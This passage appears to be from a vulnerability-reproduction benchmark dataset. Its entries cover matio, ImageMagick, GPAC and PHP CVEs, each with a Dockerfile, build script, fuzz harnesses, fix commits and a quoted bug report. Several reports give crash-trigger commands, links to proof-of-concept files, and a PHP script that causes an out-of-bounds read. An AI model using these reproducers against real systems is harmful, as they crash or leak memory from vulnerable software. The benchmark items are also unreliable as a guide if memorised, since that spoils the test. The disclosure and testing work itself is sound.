if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n",
"filename": "fuzzer_temp_file.h"
},
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n",
"filename": "matio_fuzzer.cc"
}
] |
[
{
"sha": "5552ebde32d48e9290de871dce2f773a76cdaca7",
"url": "https://github.com/tbeu/matio/commit/5552ebde32d48e9290de871dce2f773a76cdaca7"
},
{
"sha": "0966538de4e96f8a22e2f10562b765280fa61ece",
"url": "https://github.com/tbeu/matio/commit/0966538de4e96f8a22e2f10562b765280fa61ece"
},
{
"sha": "a0539135c9b1ab7613aa7953279da9224da88775",
"url": "https://github.com/tbeu/matio/commit/a0539135c9b1ab7613aa7953279da9224da88775"
},
{
"sha": "2c20d2178017b3eb13ab160cef239648f9915bdb",
"url": "https://github.com/tbeu/matio/commit/2c20d2178017b3eb13ab160cef239648f9915bdb"
},
{
"sha": "df23944bc8f16dc7270fa39c772e14958aadc283",
"url": "https://github.com/tbeu/matio/commit/df23944bc8f16dc7270fa39c772e14958aadc283"
},
{
"sha": "ce33bf0ef196794790ed20c6d4c8232f7eb45590",
"url": "https://github.com/tbeu/matio/commit/ce33bf0ef196794790ed20c6d4c8232f7eb45590"
},
{
"sha": "02625a0e394eeb8bf3ea61641f73de907296a2c4",
"url": "https://github.com/tbeu/matio/commit/02625a0e394eeb8bf3ea61641f73de907296a2c4"
}
] |
imagemagick.cve-2017-11752
|
imagemagick/imagemagick
|
2ab7a8720e8d36aaeab5eb6ca997582bb7c2b47f
| 2017-07-28T17:46:10
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 2ab7a8720e8d36aaeab5eb6ca997582bb7c2b47f
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --prefix="$WORK" --disable-shared --disable-docs
make "-j$(nproc)"
make install -j$(nproc)
|
/src/imagemagick
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/628
## Description:
Issue: ImageMagick/ImageMagick#628
Title: Memory-Leak in in AcquireMagickMemory MagickCore/memory.c:464
State: closed
Created by: zhouat
Created at: 2017-07-29 11:29:45+00:00
Labels: bug
Issue Body:
Poc link : https://github.com/zhouat/poc_IM/blob/master/e6aa0c45a13dd7fc94f7b5451bd89bf4.gif_output-24.magick
Trigger Command: `magick convert e6aa0c45a13dd7fc94f7b5451bd89bf4.gif_output-24.magick /dev/null`
```
=================================================================
==79788==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x7f0faf281602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x43523b in AcquireMagickMemory MagickCore/memory.c:464
#2 0x40b732 in AcquireImageInfo MagickCore/image.c:347
#3 0x40e703 in CloneImageInfo MagickCore/image.c:952
#4 0x55d253 in ReadMAGICKImage coders/magick.c:13053
#5 0x6faea7 in ReadImage MagickCore/constitute.c:497
#6 0x6fd022 in ReadImages MagickCore/constitute.c:866
#7 0x95a047 in ConvertImageCommand MagickWand/convert.c:641
#8 0xa16fa0 in MagickCommandGenesis MagickWand/mogrify.c:183
#9 0x4049c1 in MagickMain utilities/magick.c:149
#10 0x404ba2 in main utilities/magick.c:180
#11 0x7f0fae4e282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```
Comments:
Comment by mikayla-grace on 2017-07-29 12:46:08+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by bastien-roucaries on 2017-08-01 20:21:00+00:00:
Please open CVE
---
Comment by bastien-roucaries on 2017-08-02 13:30:07+00:00:
CVE-2017-11752
|
[
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n",
"filename": "crop_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n",
"filename": "encoder_fuzzer.cc"
},
{
"content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n",
"filename": "encoder_list.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n",
"filename": "enhance_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n",
"filename": "huffman_decode_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n",
"filename": "rotate_fuzzer.cc"
}
] |
[
{
"sha": "21d19d0c64ff070dbf37279432837bf425c0d5dd",
"url": "https://github.com/ImageMagick/ImageMagick/commit/21d19d0c64ff070dbf37279432837bf425c0d5dd"
},
{
"sha": "9eccfd52199616da66c93b6d627d4d4126f5a5f0",
"url": "https://github.com/ImageMagick/ImageMagick/commit/9eccfd52199616da66c93b6d627d4d4126f5a5f0"
}
] |
|
gpac.cve-2023-4679
|
gpac/gpac
|
4607052c482a51dbdacfe1ade10645c181d07b07
| 2023-08-31T10:11:12
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 4607052c482a51dbdacfe1ade10645c181d07b07
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.com/bounties/6f721ee7-8785-4c26-801e-f40fed3faaac
## Description:
Description
Use After Free in MP4Box.
I'm not sure if this is a bug or an exploitable vulnerability. Since it was a double-free crash, I classified it as a UAF vulnerability type.
Version
$ ./bin/gcc/MP4Box -version
MP4Box - GPAC version 2.3-DEV-revrelease
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
Reproduce
complie and run
./configure --enable-sanitizer
make
Proof of Concept
./bin/gcc/MP4Box -dash 1000 -out /dev/null ./crash000119
crash000119 is here.
ASAN
information reported by sanitizer
$ ./bin/gcc/MP4Box -dash 1000 ./crash000119
[ODF] Not enough bytes (23) to read descriptor (size=362733)
[iso file] Read Box "esds" (start 1050) failed (Invalid MPEG-4 Descriptor) - skipping
[ODF] Not enough bytes (23) to read descriptor (size=362733)
[iso file] Unknown top-level box type y028B,
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[isom] not enough bytes in box mp4a: 0 left, reading 16 (file isomedia/sample_descs.c, line 215) - try specifying -no-check (might crash)
[iso file] Read Box "mp4a" (start 0) failed (Invalid IsoMedia File) - skipping
[MPD] Generating MPD at time 2023-08-30T08:25:45.061Z2s 88 %
[Dasher] End of Period
[Dasher] End of MPD (no more active streams)
=================================================================
==865336==ERROR: AddressSanitizer: attempting double-free on 0x610000000c40 in thread T0:
#0 0x7f4df0e1c40f in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122
#1 0x7f4dee1f1ad3 in gf_filterpacket_del filter_core/filter.c:38
#2 0x7f4dee1c7cd7 in gf_fq_del filter_core/filter_queue.c:105
#3 0x7f4dee22132a in gf_filter_del filter_core/filter.c:664
#4 0x7f4dee1e037e in gf_fs_del filter_core/filter_session.c:782
#5 0x7f4dedb6f5f6 in gf_dasher_clean_inputs media_tools/dash_segmenter.c:164
#6 0x7f4dedb6f6b4 in gf_dasher_del media_tools/dash_segmenter.c:173
#7 0x561209424ede in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4888
#8 0x561209424ede in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#9 0x7f4deae20082 in __libc_start_main ../csu/libc-start.c:308
#10 0x5612093fcf5d in _start (/home/functionmain/Desktop/gpac-master-asan/bin/gcc/MP4Box+0xa5f5d)
0x610000000c40 is located 0 bytes inside of 186-byte region [0x610000000c40,0x610000000cfa)
freed by thread T0 here:
#0 0x7f4df0e1cc3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
#1 0x7f4deda17976 in Media_GetSample isomedia/media.c:619
#2 0x7f4ded96bccd in gf_isom_get_sample_ex isomedia/isom_read.c:1950
#3 0x7f4dee4ab15e in isor_reader_get_sample filters/isoffin_read_ch.c:489
#4 0x7f4dee4acc5e in isor_reader_get_sample filters/isoffin_read_ch.c:499
#5 0x7f4dee4a1ec1 in isoffin_process filters/isoffin_read.c:1486
#6 0x7f4dee20f33e in gf_filter_process_task filter_core/filter.c:2971
#7 0x7f4dee1ce66a in gf_fs_thread_proc filter_core/filter_session.c:1962
#8 0x7f4dee1dbfd6 in gf_fs_run filter_core/filter_session.c:2261
#9 0x7f4dedb71a9d in gf_dasher_process media_tools/dash_segmenter.c:1236
#10 0x561209424bb6 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#11 0x561209424bb6 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#12 0x7f4deae20082 in __libc_start_main ../csu/libc-start.c:308
previously allocated by thread T0 here:
#0 0x7f4df0e1c808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x7f4dee13ff77 in gf_filter_pck_new_alloc_internal filter_core/filter_pck.c:159
#2 0x7f4dee4a74ae in isor_sample_alloc filters/isoffin_read_ch.c:322
#3 0x7f4deda17552 in Media_GetSample isomedia/media.c:626
#4 0x7f4ded96bccd in gf_isom_get_sample_ex isomedia/isom_read.c:1950
#5 0x7f4dee4ab15e in isor_reader_get_sample filters/isoffin_read_ch.c:489
#6 0x7f4dee4a1ec1 in isoffin_process filters/isoffin_read.c:1486
#7 0x7f4dee20f33e in gf_filter_process_task filter_core/filter.c:2971
#8 0x7f4dee1ce66a in gf_fs_thread_proc filter_core/filter_session.c:1962
#9 0x7f4dee1dbfd6 in gf_fs_run filter_core/filter_session.c:2261
#10 0x7f4dedb71a9d in gf_dasher_process media_tools/dash_segmenter.c:1236
#11 0x561209424bb6 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#12 0x561209424bb6 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#13 0x7f4deae20082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: double-free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122 in __interceptor_free
==865336==ABORTING
Impact
This is capable of causing crashes.
References
crash000119 is here.
Impact
This is capable of causing crashes.
Relevant Links:
https://github.com/gpac/gpac
https://gitee.com/FUNctionMain/mypoc/raw/master/poc_double_free/crash000119
https://gitee.com/FUNctionMain/mypoc/raw/master/poc_double_free/crash000119
https://gitee.com/FUNctionMain/mypoc/raw/master/poc_double_free/crash000119
|
[] |
[
{
"sha": "6f721ee7",
"url": null
},
{
"sha": "b68b3f0bf5c366e003221d78fd663a1d5514a876",
"url": "https://github.com/gpac/gpac/commit/b68b3f0bf5c366e003221d78fd663a1d5514a876"
}
] |
imagemagick.cve-2017-11535
|
imagemagick/imagemagick
|
9871b4ad7400606bbecf7f979b198080f4b107c3
| 2017-07-15T12:32:46
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 9871b4ad7400606bbecf7f979b198080f4b107c3
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --prefix="$WORK" --disable-shared --disable-docs
make "-j$(nproc)"
make install -j$(nproc)
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/561
## Description:
Issue: ImageMagick/ImageMagick#561
Title: heap-overflow in GetPixelAlpha()
State: closed
Created by: lcatro
Created at: 2017-07-16 13:52:32+00:00
Labels: bug
Issue Body:
Crash Link : https://raw.githubusercontent.com/lcatro/My_PoC/master/ImageMagick/heap-buffer-overflow-READ-0x7f58970bcdc4_output_ps_1500207243.43
Trigger Command : ./magick convert heap-buffer-overflow-READ-0x7f58970bcdc4_output_ps_1500207243.43 output.ps
Crash Information :
fuzzing@ubuntu:~/fuzzing/ImageMagick/utilities$ ./magick convert all_fuzzing_format_2017_7_16_5_13_10/crash/heap-buffer-overflow-READ-0x7f58970bcdc4_output_ps_1500207243.43 output.ps
=================================================================
==61378==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f06a32fedcc at pc 0x7f06aec0f9c2 bp 0x7ffcb67d5a30 sp 0x7ffcb67d5a20
READ of size 4 at 0x7f06a32fedcc thread T0
#0 0x7f06aec0f9c1 in GetPixelAlpha MagickCore/pixel-accessor.h:59
#1 0x7f06aec17ff8 in WritePSImage coders/ps.c:2046
#2 0x7f06ae7491c6 in WriteImage MagickCore/constitute.c:1114
#3 0x7f06ae749e42 in WriteImages MagickCore/constitute.c:1333
#4 0x7f06adf9c3eb in ConvertImageCommand MagickWand/convert.c:3280
#5 0x7f06ae094d98 in MagickCommandGenesis MagickWand/mogrify.c:183
#6 0x4017f1 in MagickMain utilities/magick.c:149
#7 0x4019d2 in main utilities/magick.c:180
#8 0x7f06ad80982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x401308 in _start (/home/fuzzing/fuzzing/ImageMagick/utilities/.libs/lt-magick+0x401308)
0x7f06a32fedcc is located 12 bytes to the right of 556480-byte region [0x7f06a3277000,0x7f06a32fedc0)
allocated by thread T0 here:
#0 0x7f06af3e5076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076)
#1 0x7f06ae8ed8de in AcquireAlignedMemory MagickCore/memory.c:262
#2 0x7f06ae6e4731 in OpenPixelCache MagickCore/cache.c:3523
#3 0x7f06ae6dd0d1 in GetImagePixelCache MagickCore/cache.c:1667
#4 0x7f06ae6ec1f0 in SyncImagePixelCache MagickCore/cache.c:5222
#5 0x7f06ae8b9609 in SetImageExtent MagickCore/image.c:2554
#6 0x7f06aec53c99 in ReadSGIImage coders/sgi.c:374
#7 0x7f06ae746068 in ReadImage MagickCore/constitute.c:497
#8 0x7f06ae748267 in ReadImages MagickCore/constitute.c:866
#9 0x7f06adf060ad in ConvertImageCommand MagickWand/convert.c:641
#10 0x7f06ae094d98 in MagickCommandGenesis MagickWand/mogrify.c:183
#11 0x4017f1 in MagickMain utilities/magick.c:149
#12 0x4019d2 in main utilities/magick.c:180
#13 0x7f06ad80982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/pixel-accessor.h:59 GetPixelAlpha
Shadow bytes around the buggy address:
0x0fe154657d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe154657d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe154657d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe154657d90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe154657da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe154657db0: 00 00 00 00 00 00 00 00 fa[fa]fa fa fa fa fa fa
0x0fe154657dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe154657dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe154657de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe154657df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe154657e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==61378==ABORTING
Comments:
Comment by dlemstra on 2017-07-16 14:02:59+00:00:
Thanks for the report! Can you remove the # 1 and the other ones from your message next time. You are now referencing a couple of issues.
---
Comment by lcatro on 2017-07-16 14:46:18+00:00:
@dlemstra Hello dlemstra , is #1 stack trace information ?
---
Comment by mikayla-grace on 2017-07-16 15:19:52+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by dlemstra on 2017-07-16 15:27:20+00:00:
@lcatro You could just replace every occurrence of # (number) with (number) then you won't reference the issue.
---
Comment by lcatro on 2017-07-16 15:34:51+00:00:
@dlemstra Get your mind .
---
Comment by bastien-roucaries on 2017-07-26 20:58:09+00:00:
This is https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=869827 and CVE-2017-11535
|
[
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n",
"filename": "crop_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n",
"filename": "encoder_fuzzer.cc"
},
{
"content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n",
"filename": "encoder_list.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n",
"filename": "enhance_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n",
"filename": "huffman_decode_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n",
"filename": "rotate_fuzzer.cc"
}
] |
[
{
"sha": "b8647f11ddfd6f85a6cc39654c7e78c2bc6412e4",
"url": "https://github.com/ImageMagick/ImageMagick/commit/b8647f11ddfd6f85a6cc39654c7e78c2bc6412e4"
},
{
"sha": "bba95cfcc19fa8a261e12692f31279148ad42441",
"url": "https://github.com/ImageMagick/ImageMagick/commit/bba95cfcc19fa8a261e12692f31279148ad42441"
}
] |
php.cve-2016-4541
|
php/php-src
|
fc1df8e7a6886e29a6ed5bef3f674ac61164e847
| 2014-08-27T08:31:35
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fc1df8e7a6886e29a6ed5bef3f674ac61164e847
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72061
## Description:
PHP Bug ID: 72061
Summary: Out-of-bounds reads in zif_grapheme_stripos with negative offset
Status: Closed
PHP Version: 5.5.34
Assigned: stas (profile)
CVE-ID: 2016-4540
Description:
Description:
------------
Run with PHP/ASAN
The offset parameter reads from arbitrary memory when a negative value is passed and the first parameter is an array element.
Test script:
---------------
<?php
$vals = [ 1, 1, 1, 1, 1, 1, 1,1, 1, 1, 1, 1, 1, 1,1,1, 1, 1, 1, 1, 1, 1,1,1, 1,1, 1, 1, 1, 1, 1,1, 1, 1, 1,1,1,1,1,
1,1,1, 1, 1, 1,1,1, 1, 1, 1, 1 , 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,1, 1,1, 1,1,1, 1 ,
str_repeat("ABCD", 16384) ];
grapheme_stripos($vals[76], "A", -201);
Expected result:
----------------
no crash
Actual result:
--------------
==16765==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb0ebf747 at pc 0xb71b3c35 bp 0xbff95058 sp 0xbff94c2c
READ of size 202 at 0xb0ebf747 thread T0
#0 0xb71b3c34 (/usr/lib/i386-linux-gnu/libasan.so.2+0x37c34)
#1 0xaf8e42c5 in zend_memnstr /home/fmunozs/phpgit/php56/Zend/zend_operators.h:280
#2 0xaf8e42c5 in zif_grapheme_stripos /home/fmunozs/phpgit/php56/ext/intl/grapheme/grapheme_string.c:222
#3 0x9a7c718 in zend_do_fcall_common_helper_SPEC /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:558
#4 0x9640316 in execute_ex /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:363
#5 0x9a6c9c8 in zend_execute /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:388
#6 0x9470b59 in zend_execute_scripts /home/fmunozs/phpgit/php56/Zend/zend.c:1341
#7 0x91acc6b in php_execute_script /home/fmunozs/phpgit/php56/main/main.c:2613
#8 0x9a8648a in do_cli /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:994
#9 0x808a502 in main /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:1378
#10 0xb6d61645 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18645)
#11 0x808aaba (/home/fmunozs/phpgit/php56/sapi/cli/php+0x808aaba)
0xb0ebf747 is located 185 bytes to the left of 262144-byte region [0xb0ebf800,0xb0eff800)
allocated by thread T0 here:
#0 0xb7212d06 in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96d06)
#1 0x92e8597 in zend_mm_mem_malloc_alloc /home/fmunozs/phpgit/php56/Zend/zend_alloc.c:287
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
